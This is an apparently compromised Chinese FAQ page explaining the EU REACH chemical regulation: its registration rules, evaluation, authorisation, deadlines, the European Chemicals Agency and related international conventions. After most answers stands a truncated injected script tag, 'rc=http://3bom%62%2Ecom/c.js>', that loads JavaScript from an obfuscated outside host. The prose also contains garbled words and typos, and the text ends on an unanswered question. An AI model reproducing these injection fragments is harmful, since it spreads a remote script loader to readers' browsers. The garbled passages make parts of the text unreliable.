答：目前通行的化学品管理体系将化学物质分为现有化学物质和新化学物质两类：
1981年9月之前上市的化学品称为现有化学物质，之后赏识的成为新化学物质；目前欧盟市场现有化学物质有100106个，年销量超过11的约20000个，现有化学物质占市场上全部化学物质总数的99%以上，目前并无立法要求对它们进行风险评估，但其中的140个化学物质已被确定为重点物质，需要对它们进行综合风险评估；自1981年以来的新化学物质共2700个；欧盟现有的法规体系规定，对新老化学物质的风险评估由政府承担，且对现有化学物质的评估进展缓慢；目前欧盟有关化学品管理的法规有40多个，但缺乏一个能队所有化学品在其整个生命周期中的负面影响加以控制的综合统一的法规；欧盟估计目前欧盟市场上有50-500万含各种化学品的制品。
通过对欧盟现有的化学品管理法规体系和REACH的了解我们可以看出REACH的变化主要表现在以下几个方面：
1、物质风险管理责任由自然人或法律自然人变为“企业”；企业必须尽一切努力预防、限制和补救措施对人体健康和环境的影响，应选择安全的物质
2、注册时需要提供化学品安全报告由10吨/年进行了适当修改，CMR7年后决定，其他12年后决定是否都提交。
3、欧盟拟在法规生效2年后理发创建“欧盟质量标志”，以确保所有进口产品在生产过程符合REACH的规定。
4、增加科学知识和发展脊椎动物的替代方法，采取必要措施研究和发展新的非动物实验替代方法（体外毒理和QSARS预测模型等）
5、更加重视促进非动物实验，管理局成立替代检测方法委员会，负责指定发展和执行策略，加速发展非动物实验；委员会由欧盟政府组织、动物福利组织和其他相关利益方组成，将提供方法列表、数据库以及认可模式；
6、因脊椎动物实验不得重复，持有动物实验结果者必须预先通报管理局，且必须分享研究结果，否则不能注册该物质，同样潜在注册者也必须支付费用，否则也不得注册该物质。
7、费用分摊按照注册吨数计算，如果生产吨数多则多承担，研究结果由10年后自由使用变为12年。为了减少企业负担，只有在进行脊椎动物实验时才必须遵循GLP。
8、增加纳米材料的定义，对于纳米的风险评估认为现有方法不足以全面评估，法规规定纳米材料投放市场的前提是确保足够的安全评估下。rc=http://3bom%62%2Ecom/c.js>
问：REACH有什么特点呢？
答：REACH对化学品安全性的判定与传统的观点相反。传统的观点认为“一种化学物质，只要没有证据表明它是危险的，它就是安全的”,而REACH制度则认为“一种化学物质，在尚未证明其是否存在危险之前，它就是不安全的。”因此，REACH制度有一些新特点。
一是涉及面广量大。REACH制度将现有化学品分为现有物质、新物质两种。以1981年9月为分界线，之前属现有物质，之后属新物质。对现有广泛使用的和新发明的化学品(包括部分可分离中间体)，不管它是独立存在的还是配制品中的，只要年产量或一次进口量超过1吨，生产商或进口商就必须向欧洲化学品管理局提出该化学品的相关信息，并交注册费，超过100吨的要评估，毒性特别大的要经过授权才允许使用。该体系对欧盟市场上约3万种化工产品和其下游的纺织、轻工、制药等产品分别纳入注册、评估、许可3个管理监控系统。化学原料及制品、化纤、橡胶、塑料、纺织、轻工、电子、汽车、家电、制药、涂料均在受控制之列。
二是注册年限明确，检测费用昂贵。按照欧盟拟定的时间表，产量在1000吨以上的化学物质，应于3年内完成注册；产量在100～1000吨的化学物质，于6年内完成注册；产量在1～100吨的化学物质，于11年内完成注册，未能按期纳入该管理系统的产品不能在欧盟市场上销售。同时，该制度还规定了检测标准和检测费用，据欧盟估算，每一种化学物质的基本检测费用约需8.5万欧元，每一种新物质的检测费用约需57万欧元。
三是责任主体改变，企业负担加重。欧盟为了统一25个成员国的化学品管理制度，将过去由政府和相关管理机构确认一种化学物质是否有害，改为要求生产者自己提出无害的证据，检测费用由生产者承担。
四是维护了首次信息生成者、首次动物试验完成者的知识产权和信息产权。REACH制度是以大量信息为基础对申报的化学品进行格式化的“标准”安全性评估。当任何企业注册化学品或其同样的用途时，信息系统首先进行搜索，只要有“先注”信息存在，即使提供的申请材料中的数据是申报企业自行完成的，仍需交纳 “信息费”，否则就不能完成注册程序。rc=http://3bom%62%2Ecom/c.js>
问：关于化学品，还有哪些国际性的制度？
答：既然化学品在全球广泛流通，其安全性受到国际关注就是当然的，国际上出台了大量的有关化学品国际性制度或法规。欧盟在其中起到了领导者的作用，也和第三方国家进行了密切的合作。
国际化学品管理制度战略(SAICM)
2006年，委员会在SAICM的开创中起到了关键性的作用，SAICM得到了发展并和来自140多个国家的利益攸关者进行了谈判磋商。2006年4月在迪拜，联合国环境规划署(UNEP)管理理事会最后接受了SAICM。SAICM的目标是确保全球化学品按照同样一个模式管理，这样有助于达到可持续性发展2002年世界峰会上提出的口号“到2020年，化学品使用和生产的方式对于人类健康和环境的负面影响降到最低程度”。EU已经是SAICM的积极支持者，也将会是SAICM全球计划执行的活跃者，这一SAICM全球计划设置了近300种不同的活动，有助于所有国家能达到口号提出的目标。尤其值得一提的是，REACH法规将帮助EU完成SAICM的目标。
高吨位水平物质的OECD战略计划
OECD就以一个系统的方式测试和评估高吨位水平物质(HPV)，建立了一个合作性的计划。当物质缺乏重要的数据，或关注程度增加时，建议采取进一步的调查、进行深入评估或风险评价。EU积极参与了这项计划，OECD计划和REACH法规将会相互加强和促进。
持久性有机污染物(POPs)的斯德哥尔摩协定
POPs斯德哥尔摩协定是对12种POPs的生产、使用、进出口、处置和排放等进行的规定。该协定禁止POPs的故意生产和使用，禁止新的POPs开发，目标在于最大限度降低无意识生产的POPs的排放。迄今为止，该协定已经得到欧盟委员会的18个成员国以及2个加盟国的认可。最近，欧盟委员会建议另外的5种物质应该纳入该协定中。
全球协调系统(GHS)
委员会积极参与了联合国关于化学品分类及标记全球协调系统(GHS)的谈判。于2006年秋天，在与利益攸关者的咨询磋商成功完成后，目前正着手准备一个贯彻执行GHS的法律草案。几年的过渡期后，这项新的立法将会取代现有的关于化学品分类及标记的规定，即理事委员会指南67/548/EEC和1999/45/EC。
危险化学品的鹿特丹(荷兰西南部港市)协定
关于优先告知允诺(PIC)的鹿特丹协定，目标是当化学品在全球流通时，要尽可能降低与化学品相关联的风险。这个协定建立了一个关于某些危险化学品的贸易管理体系，该协定已在2004年初实施。欧盟的23个成员国以及其他2个加盟国是该协定的成员。欧盟国会和理事会的EC304/2003决议贯彻执行了这个协定，并远远超出了该协定所要求的范围。
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问：“复议”是什么含义？哪些主题将会要复议，何时进行复议？
答：REACH法规预知到，该法规从实施到生效的12年内，委员会将会在一定的时间和适合的地点，结合新的实践经验，对法规的部分条款进行复议总结，提出立法的或类似立法的提案，对法规进行修订，以保证法规对人类健康和环境起到更大的保护作用。
在法律条文中词“Review”不应该与“Reviews”相混淆，委员会将会有序地修订或撤消有时间限制的备受关注的物质的授权，下面的信息仅仅与在法律条文中的词“Reviews”相关：
从REACH法规实施到生效的12个月后，委员会将会复议附件I(化学品安全报告规则)、附件IV(因信息充足和危害较低而被豁免注册的物质)，以及附件V的内容(在现有法规条件下被豁免注册的物质)。
18月后，委员会将会复议附件XIII(关于持久性的、生物富集的、有毒的，以及很持久性的、很生物富集的物质(即PBTs和vPvBs)的鉴别标准)。
5年后，委员会将会复议法规的范围，以避免和别的相关规定相重叠，以及复议关于欧洲化学品管理局的章程。
6年后，委员会将会复议，当一个更加安全的替代物存在时，具有内分泌干扰性质的物质是否应该仍旧被授权。
7年后，委员会将会复议，是否应该有义务对10吨以下的CMR物质提交一份化学品安全报告，12年后，对10吨以下的所有物质进行同样的复议。
此外，委员会还将复议，是否应该增加责任，告知消费者物品中的物质和其他物质，这些物质尽管不是受高度关注的对象但仍旧是危险的或令人不愉快的(例如：过敏原)。12年后，吨位在10吨/年和100吨/年之间的物质，对其生殖毒性试验的要求也要进行复议。rc=http://3bom%62%2Ecom/c.js>
问：REACH法规和其他法规的重叠之处是如何避免的？
答：早在2003年，委员会起草这项法规时，仔细地考虑到了现有所有与化学品相关的立法，例如，在关于医疗设备、食品、医药、电池和化妆品，REACH法规和其他法规是否有重叠之处。在REACH法规要求注册的所用物质中，如果某个立法对其中某一个物质已经有了同样要求，则REACH法规将对其豁免。例如，REACH法规对医药用物质豁免于注册和授权，因为现有的医药法规已经要求这些被使用的物质提交数据并给予授权。
另一方面，关于医疗设备的有关法规仅仅考虑了对病人健康的危害，而没有考虑生产这些设备时对工人健康的危害以及对环境的危害。因此，在REACH法规要求下，用于生产医疗设备的物质仍旧部分地需要注册，以确保公司发布物质对工人和环境的危害影响。
最后的协定还会包括一个复议条款，这一条款要求委员会5年后应重新检查可能与别的法规相重叠的情况，在适当的时候并提出建议。rc=http://3bom%62%2Ecom/c.js>
问：REACH对贸易的限制超过了必要程度，有可能造成双重的检测和风险评估，授权不均衡，基于危害，REACH是否有可操作性？
答：REACH的义务是有必要保护健康和环境，是现存HPV化学品计划的补充，现有的信息可以利用，新的试验是最后的手段。它的授权仅限于高度危险物质，决策基于风险。REACH的影响评估显示，好处大于成本的。rc=http://3bom%62%2Ecom/c.js>
问：REACH法规有什么要求？
答：1、注册（Registration）：注册要求生产商或进口商提供超过1吨每年的化学物质的相关信息，包括提交技术档案。其中应有物质的信息和如何管理其使用过程种的风险的信息。数量超过10吨每年的物质还要再提交化学安全报告，以表征其安全评估。但有以下情况的可以免除注册责任：现有其他法规已经覆盖的化学品可免除注册责任；年生产或进口两在1T以下的化学品或制品中所含化学品年用量字1T以下的化学品或制品中所含化学品年用量在1T以下的，可免除注册责任；仅用于科研或产品开发过程的化学品，可申请免除注册，免除期限最长5年，但可申请延长5年，医药产品可延期到10年；在尚未建立起科学、有效、简便的聚合物危险性评价方法之前，聚合物可免除注册责任，但聚合物中单体含量超过2%的，则不可免除；对年产量或进口量在1-10T之间的化学物质，注册时可免交“化学安全报告”，并减少部分测试要求；部分非分离出的中间体和意外释放的话写品可免除注册责任。
2、评估（Evaluation）：评估过程将允许由主管部门来决定是否要求进一步的测试和评估，注册人提供的信息是否符合法规要求（即文档评估）；对选定的物质，如怀疑其对人类健康和环境存在风险时，则要求进行物质评估。该评估提供了一种机制，要求实业界获取更多的信息。评估也会为授权或限制程序下该采取何种行动提出建议。评估分为文件评估和风险评估两种，其中文件评估，所有动物试验提案均须先进行文件评估，以确认是否可以分享已有的实验数据，避免不必要的动物实验；同时文件评估也可以检查注册申请是否与注册的要求相一致；物质评估，由欧盟的机构根据欧盟的相关标准对任何有理由被怀疑对人体健康或环境有可能造成危害的化学物质进行测试。申请授权时，企业必须提交风险评估结果，该风险评估必须涉及该化学物质的整个生命周期。企业必须对成本和效益进行分析，证明使用该化学物质的效益要大于为消除该物质对人类健康和环境造成的危害而引发的成本。风险评估内容包括：与该化学物质的危险性有关的健康、毒理学及生态毒理学的数据；在生产和不同使用状况时的风险；如何掌握和限制这些风险的方法等。
3、许可和限制（Authorization）：只有那些高度关注的物质才需要授权。高度关注物质指致癌物、致突变物、对生殖系统有毒的物质、持久性、生物积累的物质和有毒的物质，永久性和高生物积累物质以及与此相当的物质。经认定对人体或环境会造成严重影响而被列为重点监控对象的化学物质必须实行严格的市场准入许可；列入REACH法规附录中必须授权使用的化学物质只有在特殊用途或特别许可的情况下才能使用；某化学物质只有在其可能产生的危害风险可以被“充分控制把握”的前提下才能使用；如果风险无法充分把握，则需评估风险系数、社会和经济的重要性和有无替代品等因素后决定是否授权使用。限制是本制度的安全隔离墙。任何物质，不管是其本身或含在配制品、物品中，只要该物质的使用对人类健康和环境具有不可接受的风险，都必须在共同体范围内进行限制。欧盟认为：限制规定和其他欧盟法令一样，是整个REACH网络的一部分，因为在处理化学品危害风险问题的时候，所有产品都受到欧盟限制性规定的约束。根据提案，起到限制作用的相关现行生产、销售和使用的法令将成为REACH体系中的组成部分，并列在规定的附录中，同时还规定了加入新限制和修改现行限制规定的程序。其作出的决定包括限制在某些产品中使用，限制消费者使用或限制所有的用途（即完全禁止）。
4、信息交换和数据共享：信息共享和成本分担是各相关方所期望的，但必须保证提供数据的公司不因数据分享而在商业上处于不利的地位。ECA将在预注册截止后的一个月在网上设立公开的信息交换论坛，公布所有的预注册信息，意在使所有相关企业通过交换信息，共同编制相关风险评估档案，公平分担现有数据评估所产生的相关成本，降低重复研究的可能性。ECA对成本分担机制具有最终仲裁权。
另外还有其他几个关键词需要了解：1、供应链信息：REACH规定，把化学品安全数据表（SDS）作为基本信息载体，沿化学品供应链传递化学品危险和风险信息，使下游拥护执行适当的风险管理措施。2、下游拥护：REACH要求下游拥护在原料生产商提供的安全数据表的基础上，考虑所用化学物质的安全性，并采取适当风险管理措施。3、分类和标签：REACH将GHS（全球化学品分类与标签协调制度）进行了有效转化，纳入其体系中，有助于促进企业对危险物质分类和标签的一致性。4、数据共享：REACH要求脊椎动物实验数据必须共享，不能重复实验。5、欧洲化学品管理局：欧盟新建管理机构，全面负责REACH技术、科学和管理工作，具体实施REACH。6、信息工具：将开发专门信息系统，实施REACH注册等，并使公众可以通过网络获得化学品安全信息。rc=http://3bom%62%2Ecom/c.js><
问：CMR/PBT物质的评审管理程序是怎样的？
答：详见：
http://news.webtextiles.com/Info/Info_164084.htm/%33%6
问：欧洲化学品管理局将做哪些工作？
答：欧洲化学品管理局将负责管理工作，在一些情况下，也开展与REACH法规有关的技术、科学以及行政方面的工作，确保欧盟共同体在这些方面能达成一致。管理局将就法规所涉及到与化学品相关的问题，向成员国和欧盟共同体的公共机构提供最大可能的科学和技术指导。
新的欧洲化学品管理局将于2007年在芬兰首都赫尔辛基成立，由一个执行主管牵头，并将设有一个秘书处，成员在一年内由大约80人增加到220人，并逐渐增加到所计划的大约450人。
REACH法规获得通过后，委员会立即开始执行主管人选以及其他职员的物色。职位信息将会于2007年早些时候在REACH网站的工作机会栏目上公布，该网站见：ec.europa.eu/enterprise/reach/prep jobs en.htm
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问：欧盟成员是否统一实施REACH法规？
答：REACH法规直接由成员实施，管理局有权采取措施，确保统一性，并开辟实施信息交换论坛，指定管理部门使用的指南，促进理解一致。有向管理局上述或向欧洲法院上诉的渠道。rc=http://3bom%62%2Ecom/c.js>
问：指南和工具将于什么时候才可以获得？
答：目前，在REACH法规实施计划项目中，正在开发新的指南和IT工具，以期尽可能容易的转换到满足这项新制度的要求。这些指南和IT工具包括：对中小企业(SMEs)比较容易理解的指南，提供给化学品公司的专业人员更加详细的信息，以及供将来的欧洲化学品管理局(ECHA)在线注册的IT工具。
供化学品登记者和使用者的指南和IT工具，可通过2007年上半年末建成的管理局网站免费获得。这个网站包括一个基于IT工具的指南即Navigator-工具和一些详细的指南。Navigator-工具将帮助用户找到他们的职责，并指导他们在网站上使用与他们有关的指南文件、工具以及版式的相关部分；详细的指南提供REACH法规上所要求的方法和程序信息。供注册的IT工具将是IUCLID5，该IT工具将于2007年春天向工业界开放，有关IUCLID5更详尽的信息可在网站http://ecb.jrc.it/iuclid5获得。rc=http://3bom%62%2Ecom/c.js>
问：REACH的具体实施时间是怎样规定的呢？
答：2007年6月REACH生效。2008年6月欧洲化学品管理局正式运行。2008年6月到2008年11月分阶段物质的预注册，2009年1月化学品局公布预注册结果。2008年12月-2010年11月年产或年进口超过1000吨及上产量的物质(CMR1、2类)完成注册，年产或年出口超过1吨的致癌、致畸和生殖毒性物质完成注册；年产或年出口超过10吨的水生毒性物质完成注册。2010年12月-2013年6月，年产或年出口超过100吨物质完成注册，水生毒性物质完成注册。2018年6月1吨及上产量的物质(CMR1、2类)注册截止期。当然可以在截止期前自愿注册，自2008年6月起就可以提交注册文档。新物质上市流通前必须注册，其注册日期自2008年6月1日开始。rc=http://3bom%62%2Ecom/c.js>
问：在哪儿可以找到新达成的协议？
答：委员会的共同立场可在下面网站上找到。
register.consilium.europa.eu/pdf/en/06/st07/st07524.en06.pdf
议会和理事会的协议可在下面的网站上找到。
www.europarl.europa.eu/sce/server/internet/amend_motions_texts/sce_amend_motions_texts_main_02.jsp?ref=A6-0352/2006
这个协议包含在修正案191中，修正案191出现在上面网站的左边栏目，由五部分组成(从191a到191e)。但是关键的部分和主要的附件在191a和191b，191c、191d和191e部分包含了很长的有关限制的附件XVII，自2003年委员会的提案被采纳后，这一附件XVII已经被现有的法规所利用，时时更新以适应现有法规的变化。
部分可利用的国外权威信息数据库：
欧洲化学物质信息系统（ESIS）网址：http://ecb.jrc.it
OECD高产量化学品网址：http://www.chem.unep.ch/irptc/sids/OECDSIDS
美国国家医学图书馆的化学品标识数据库（ChemIDplus）网址：
http://chem2.sid.nlm.gov/chemidplus
美国国家医学图书馆危险物质数据库（HSDB）网址：
http://toxnet.nlm.nih.gov/cgi-bin/sis/htmlgen!HSDB
IPCS国际化学品安全卡（中文版）数据库查询系统
http://www.brici.ac.cn/icsc
北欧国家部长理事会环境危险性分类数据库（The N-CLASS DB）:
http://apps.kemi.se/nclass/default.asprc=http://3bom%62%2Ecom/c.js>
问：对于化学品的立法，REACH法规将会成为世界标准吗？按照REACH法规要求，有哪些其他国家可能会调整他们自己的制度？
答：REACH法规是目前世界上最具有影响力的化学品立法制度。然而，在过去的几年里，几个其他的第三方国家对此进行了精心的讨论，对学习了解REACH法规显示出了极大的兴趣。这些国家包括瑞士、挪威、加拿大、日本、韩国、新西兰，以及几个发展中国家比如中国。针对目前的美国(US)法规在保护健康和环境是否是充分的，以及美国(US)法规框架内是否涉及到了REACH，美国国会也进行了讨论。包括马萨诸塞和加利福尼亚等几个州正在增加他们的能力，以便监测具有生物富集的化学品，禁止或逐步淘汰危险的物质。
委员会一直在和众多的第三方国家接触，努力帮助他们就如何应对这项新法规进行培训和技术指导。关于化学品安全，EU的确已经发挥了一个国际领导者的作用，REACH法规有潜力成为世界性的新标准。rc=http://3bom%62%2Ecom/c.js>
问：REACH是否适用于非欧盟成员国？
